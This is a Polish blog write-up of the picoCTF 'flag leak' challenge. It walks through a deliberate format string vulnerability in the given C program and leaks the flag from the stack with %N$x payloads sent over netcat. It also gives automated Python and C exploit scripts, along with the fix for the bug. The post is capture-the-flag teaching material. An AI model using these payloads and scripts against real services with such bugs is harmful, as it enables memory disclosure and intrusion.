poniedziałek, 10 lutego 2025

picoCTF - Flag leak

Tym razem chciałbym opisać rozwiązanie zadania flag leak z działu Binary exploration picoCTF. 


Do zadania dołączono plik binarny oraz kod w języku C:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <sys/types.h>
  6. #include <wchar.h>
  7. #include <locale.h>
  8.  
  9. #define BUFSIZE 64
  10. #define FLAGSIZE 64
  11.  
  12. void readflag(char* buf, size_t len) {
  13.   FILE *f = fopen("flag.txt","r");
  14.   if (f == NULL) {
  15.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
  16.                     "own debugging flag.\n");
  17.     exit(0);
  18.   }
  19.  
  20.   fgets(buf,len,f); // size bound read
  21. }
  22.  
  23. void vuln(){
  24.    char flag[BUFSIZE];
  25.    char story[128];
  26.  
  27.    readflag(flag, FLAGSIZE);
  28.  
  29.    printf("Tell me a story and then I'll tell you one >> ");
  30.    scanf("%127s", story);
  31.    printf("Here's a story - \n");
  32.    printf(story);
  33.    printf("\n");
  34. }
  35.  
  36. int main(int argc, char **argv){
  37.  
  38.   setvbuf(stdout, NULL, _IONBF, 0);
  39.  
  40.   // Set the gid to the effective gid
  41.   // this prevents /bin/sh from dropping the privileges
  42.   gid_t gid = getegid();
  43.   setresgid(gid, gid, gid);
  44.   vuln();
  45.   return 0;
  46. }

W programie powyżej wykorzystano podatność Format String Vulnerability. Funkja printf w vuln() wykorzystuje ciąg story jak argument formatujący. Pozwala to na wprowadzenie do programu odpowiadnio rzygotowanych ciągów, które umożliwią odczyt czy nawet zapis danych do pamięci. Dodatkowo funkcja scanf, chociaż wywołana z argumentem %127s, który ogranicza odczytanie danych do 127 znaków będzie stanowiła problem. Chodzi tutaj o format %s, któy mimo ograniczenia znaków będzie czytał dane aż do znalezienia białego znaku.

Teraz przetestuje działanie programu:

  1. picoctf@webshell:~$ nc saturn.picoctf.net <port>
  2. Tell me a story and then I'll tell you one >> test wiadomosc
  3. Here's a story -
  4. test
  5. picoctf@webshell:~$ nc saturn.picoctf.net <port>
  6. Tell me a story and then I'll tell you one >> sprawdzamdzialanie
  7. Here's a story -
  8. sprawdzamdzialanie

Jak widać powyżej wyświetlana jest przesłana wiadomość. 

  1. picoctf@webshell:~$ nc saturn.picoctf.net <port>
  2. Tell me a story and then I'll tell you one >> %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,
  3. Here's a story -
  4. ffab0650,ffab0670,8049346,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,78252c78,2c78252c,252c7825,f0002c78,
Jak widać dane wyświetlają się podczas wprowadzania danych. Więc przechodzę do wyszukiwania flagi picoCTF w pamięci (70 69 63 6F 43 54 46 7B).

Po próbach i błędach dochodzę do:

  1. picoctf@webshell:~$ nc saturn.picoctf.net <port>
  2. Tell me a story and then I'll tell you one >> %28$x,%29$x,%30$x,%31$x,%32$x,%33$x,%34$x,%35$x,%36$x,%37$x,%38$x,%39$x
  3. Here's a story -
  4. 1,0,ef0f8410,1,ef12c000,8048338,ef0f0d20,eef75ab0,6f636970,7b465443,6b34334c,5f676e31

Jak widać dane powyżej są dostępne tylko odwrócone (6F 63 69 70 7B 46 54 43). Natomiast w wyświetlonych danych nie ma wartości 0x7D (znak '}'). Czyli należy odczytywać kolejne porcje danych. 

  1. picoctf@webshell:~$ nc saturn.picoctf.net <port>
  2. Tell me a story and then I'll tell you one >> %36$x,%37$x,%38$x,%39$x,%40$x,%41$x,%42$x,%43$x,%44$x,%45$x,%46$x,%47$x,%48$x,%49$x,%50$x,%51$x
  3. Here's a story -
  4. 6f636970,7b465443,6b34334c,5f676e31,67346c46,6666305f,3474535f,395f6b63,30366635,7d373136,fbad2000,1c477a00,0,f0129990,804c000,8049410
 
Można to też odczytać np. takim poleceniem z konsoli:

  1. echo "%36\$x,%37\$x,%38\$x,%39\$x,%40\$x,%41\$x,%42\$x,%43\$x,%44\$x,%45\$x" | nc saturn.picoctf.net <port>

Dla powyższych danych wejściowych wyświetla się cała flaga. W celu wyświetlenia danych tylko dla flagi należy wprowadzić:

  1. %35$x,%36$x,%37$x,%38$x,%39$x,%40$x,%41$x,%42$x,%43$x,%44$x,%45$x

Cała flaga w hex:

  1. 6f6369707b4654436b34334c5f676e3167346c466666305f3474535f395f6b63303666357d373136

Po bezpośredniej konwersji na ASCII:

  1. ocip{FTCk43L_gn1g4lFff0_4tS_9_kc06f5}716

Dane powyżej są odwrócone. Można to odwrócić, przez przepisanie znaków ASCII, odwrócenie danych w HEX z Little Endian na Big Endian.

  1. 6f636970 - 7069636F
  2. 7b465443 - 4354467B
  3. 6b34334c - 4C33346B
  4. 5f676e31 - 316E675F
  5. 67346c46 - 466C3467
  6. 6666305f - 5F306666
  7. 3474535f - 5F537434
  8. 395f6b63 - 636B5F39
  9. 30366635 - 35663630
  10. 7d373136 - 3631377D
  11.  
  12. 7069636F4354467B4C33346B316E675F466C34675F3066665F537434636B5F39356636303631377D
  13.  
  14. picoCTF{<flaga>}

W celu ochrony przed wyżej opisanym atakiem należałoby zmodyfikować funkcje printf w vuln():

  1. z printf(story);
  2. na printf("%s", story);

Funckje scanf():

  1. z scanf("%127s", story);
  2. na fgets(story, sizeof(story), stdin);

Całe zadanie można także zautomatyzować, w pythonie mogło by to wyglądać np tak:

  1. import socket
  2.  
  3. HOST = "saturn.picoctf.net"
  4. PORT = <port>
  5.  
  6. # Format string exploit
  7. payload = "%36$x,%37$x,%38$x,%39$x,%40$x,%41$x,%42$x,%43$x,%44$x,%45$x\n"
  8.  
  9. with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  10.     s.connect((HOST, PORT))
  11.  
  12.     response = s.recv(1024).decode()
  13.     print("Receive:", repr(response))
  14.  
  15.     s.sendall(payload.encode())
  16.  
  17.     response = s.recv(1024).decode()
  18.     print("Response:", repr(response))
  19.  
  20.     if "Here's a story - " in response:
  21.         hex_part = response.split("Here's a story - ")[1].strip()
  22.         print("Hex data:", hex_part)
  23.  
  24.         hex_values = hex_part.split(",")
  25.  
  26.         def little_to_big_endian(hex_str):
  27.             try:
  28.                 return bytes.fromhex(hex_str)[::-1].decode("utf-8")
  29.             except UnicodeDecodeError:
  30.                 return f"[{hex_str}]"
  31.  
  32.         decoded_text = "".join(little_to_big_endian(h) for h in hex_values)
  33.         print("Decode data:", decoded_text)
  34.     else:
  35.         print("Wrong response")
  36.  

Program powyżej wykonuje połączenie z serwerem, wysyła dane payload, pobiera otrzymane dane a następnie je przetwarza w kolejności opisywanej podczas przekazywania danych ręcznie. 

Odpowiedz wyglada następująco:

  1. picoctf@webshell:~/flag_leak$ python flag_leak_test4.py
  2. Receive: "Tell me a story and then I'll tell you one >> "
  3. Response: "Here's a story - \n6f636970,7b465443,6b34334c,5f676e31,67346c46,6666305f,3474535f,395f6b63,30366635,7d373136\n"
  4. Hex data: 6f636970,7b465443,6b34334c,5f676e31,67346c46,6666305f,3474535f,395f6b63,30366635,7d373136
  5. Decode data: picoCTF{<tu_jest_flaga>}

Poniżej program w C realizujący to samo zadanie:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <arpa/inet.h>
  5. #include <unistd.h>
  6. #include <netdb.h>
  7.  
  8. // Dane serwera
  9. #define HOST "saturn.picoctf.net"
  10. #define PORT <port>
  11. #define BUFFER_SIZE 1024
  12.  
  13. void little_to_big_endian(const char *hex_str, char *output) {
  14.     unsigned int num;
  15.     if (sscanf(hex_str, "%x", &num) != 1) {
  16.         sprintf(output, "[%s]", hex_str);
  17.         return;
  18.     }
  19.  
  20.     unsigned char bytes[4];
  21.     bytes[0] = (num >> 0) & 0xFF;
  22.     bytes[1] = (num >> 8) & 0xFF;
  23.     bytes[2] = (num >> 16) & 0xFF;
  24.     bytes[3] = (num >> 24) & 0xFF;
  25.  
  26.     unsigned char reversed_bytes[4];
  27.     reversed_bytes[0] = bytes[3];
  28.     reversed_bytes[1] = bytes[2];
  29.     reversed_bytes[2] = bytes[1];
  30.     reversed_bytes[3] = bytes[0];
  31.  
  32.     for (int i = 3; i >= 0; i--) {
  33.         if (reversed_bytes[i] >= 32 && reversed_bytes[i] <= 126) {
  34.             strncat(output, (char *)&reversed_bytes[i], 1);
  35.         } else {
  36.             char tmp[8];
  37.             sprintf(tmp, "[%02X]", (unsigned char)reversed_bytes[i]);
  38.             strcat(output, tmp);
  39.         }
  40.     }
  41. }
  42.  
  43. int main() {
  44.     int sock;
  45.     struct sockaddr_in server_addr;
  46.     struct hostent *server;
  47.     char buffer[BUFFER_SIZE] = {0};
  48.  
  49.     server = gethostbyname(HOST);
  50.     if (server == NULL) {
  51.         perror("Error - gethostbyname");
  52.         return 1;
  53.     }                                                                                                                        
  54.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  55.         perror("Error - socket");
  56.         return 1;
  57.     }
  58.  
  59.     server_addr.sin_family = AF_INET;
  60.     server_addr.sin_port = htons(PORT);
  61.     memcpy(&server_addr.sin_addr.s_addr, server->h_addr, server->h_length);
  62.  
  63.     if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
  64.         perror("Error - connect");
  65.         return 1;
  66.     }
  67.  
  68.     recv(sock, buffer, BUFFER_SIZE, 0);
  69.     printf("Rec: %s\n", buffer);
  70.  
  71.     const char *payload = "%36$x,%37$x,%38$x,%39$x,%40$x,%41$x,%42$x,%43$x,%44$x,%45$x\n";
  72.     send(sock, payload, strlen(payload), 0);
  73.  
  74.     memset(buffer, 0, BUFFER_SIZE);
  75.     recv(sock, buffer, BUFFER_SIZE, 0);
  76.     printf("Server response: %s\n", buffer);
  77.  
  78.     char *hex_part = strstr(buffer, "Here's a story - ");
  79.     if (hex_part) {
  80.         hex_part += strlen("Here's a story - ");
  81.         printf("Hex Data: %s\n", hex_part);
  82.  
  83.         char *token = strtok(hex_part, ",");
  84.         char decoded_text[BUFFER_SIZE] = {0};
  85.  
  86.         while (token) {
  87.             char converted[16] = {0};
  88.             little_to_big_endian(token, converted);
  89.             strcat(decoded_text, converted);
  90.             token = strtok(NULL, ",");
  91.         }
  92.  
  93.         printf("Decrypt data ASCII: %s\n", decoded_text);
  94.     } else {
  95.         printf("Error - wrong resposne from server \n");
  96.     }
  97.  
  98.     close(sock);
  99.  
  100.     return 0;
  101. }

Odpowiedź od serwera jest następująca:

  1. Rec: Tell me a story and then I'll tell you one >>
  2. Server response: Here's a story -
  3. 6f636970,7b465443,6b34334c,5f676e31,67346c46,6666305f,3474535f,395f6b63,30366635,7d373136
  4.  
  5. Hex Data:
  6. 6f636970,7b465443,6b34334c,5f676e31,67346c46,6666305f,3474535f,395f6b63,30366635,7d373136
  7.  
  8. Decrypt data ASCII: picoCTF{<tu_jest_flaga>}